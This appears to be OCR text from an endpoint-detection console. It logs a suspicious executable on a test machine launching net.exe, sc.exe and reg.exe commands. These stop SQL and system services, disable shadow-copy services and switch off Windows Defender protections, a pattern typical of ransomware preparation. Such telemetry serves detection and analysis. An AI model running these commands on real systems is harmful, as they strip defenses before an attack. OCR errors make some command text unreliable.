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Number of Incidents Machine Name Program Path Program Arguments
v 3 WCC-NOAH-TEST CA\Users\Administrator\Desktop\321d0c4f1bbb44c53cd02 186107a18b7a... 321d0c4f1bbb44¢53cd02186107a18b7344c840a%a50a7
Created Response Name Untrusted Remote Threads Modified Memory No Trusted Cert
October 18, 2022 at 11:27:20 AM EDT n ‘. L | rd Spectacled-Bear Pearly-Ey False False True
October 18, 2022 at 11:27:22 AM EDT n f o # Petunia Wisteria Rail 829 False False True
October 18, 2022 at 11:27:14 AM EDT n f o) Topi Safety-orange Alysst False False True
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Child Path Child Arguments

CA\Windows\System32\net.exe net.exe stop "LanmanWorkstation" fy
CAWindows\System32\net1.exe CA\Windows\system32\net1 stop "LanmanWorkstation” fy
CAWindows\System32\net.exe net.exe stop "MsDtsServer130” fy
CAWindows\System32\net1.exe Ch\Windows\system32\net1 stop "MsDisServer130" fy
CAWindows\System32\net.exe net.exe stop "MSSQLSMSSQLSERVEROT" fy
CAWindows\System32\net1.exe CA\Windows\system32\net1 stop "MSSQLSMSSQLSERVEROT" fy
CAWindows\System32\net.exe net.exe stop "MSSQLSERVER" fy
CAWindows\System32\net1.exe Ch\Windows\system32\net1 stop "MSSQLSERVER" fy
CAWindows\System32\net.exe net.exe stop "sacsvr” fy

CAWindows\System32\net1.exe CA\Windows\system32\net1 stop "sacswvr” fy
CAWindows\System32\net.exe net.exe stop "SamSs" fy

CAWindows\System32\net1.exe Ch\Windows\system32\net1 stop "Sam5Ss" fy
CAWindows\System32\net.exe net.exe stop "SQLAgentSMSSQLSERVERDT" fy
CAWindows\System32\net1.exe CA\Windowshsystem32\net1 stop "SQLAgentSMSSQLSERVERDT" fy
CAWindows\System32\net.exe net.exe stop "SQLBrowser" jy

CA\Windows\System32\net1.exe CA\Windows\system32\net1 stop "SQLBrowser" fy
CAWindows\System32\net.exe net.exe stop "SQLSERVERAGENT" fy
CAWindows\System32\net1.exe C\Windows\system32\net1 stop "SQLSERVERAGENT" fy
CAWindows\System32\net.exe net.exe stop "SQLTELEMETRYSMSSQLSERVERD1" fy

CAWindows\System32\net1.exe CA\Windows\system32\net1 stop "SQLTELEMETRYSMSSQLSERVERO 1" fy



Child Path Child Arguments

C\Windows\System32\sc.exe sc.exe config "SQLWriter" start= disabled

C\Windows\System32\sc.exe scexe config "SstpSvc” start= disabled

C\Windows\System32\sc.exe sc.exe config "vmicvss" start= disabled

C\Windows\System32\sc.exe scexe config "V55" start= disabled

C\Windows\System32\sc.exe sc.exe config "WRSWVC" start= disabled

C:\Windows\System32\sc.exe scexe config "UnistoreSwe_1a55fcc” start= disabled

Ch\Windows\System32\reg.exe reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
C\Windows\System32\reg.exe reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f

Ch\Windows\System32\reg.exe reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender” /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
C\Windows\System32\reg.exe reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender” /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
C\Windows\System32\reg.exe reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
C\Windows\System32\reg.exe reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection” /v "DisableBehaviorMonitoring” /...
C:\Windows\System32\reg.exe reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection” /v "DisablelOAVProtection” /t RE...
C\Windows\System32\reg.exe reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection” /v "DisableOnAccessProtection” /...
C\Windows\System32\reg.exe reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection” /v "DisableRealtimeMonitoring” /...
C\Windows\System32\reg.exe reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection” /v "DisableScanOnRealtimeEnable...
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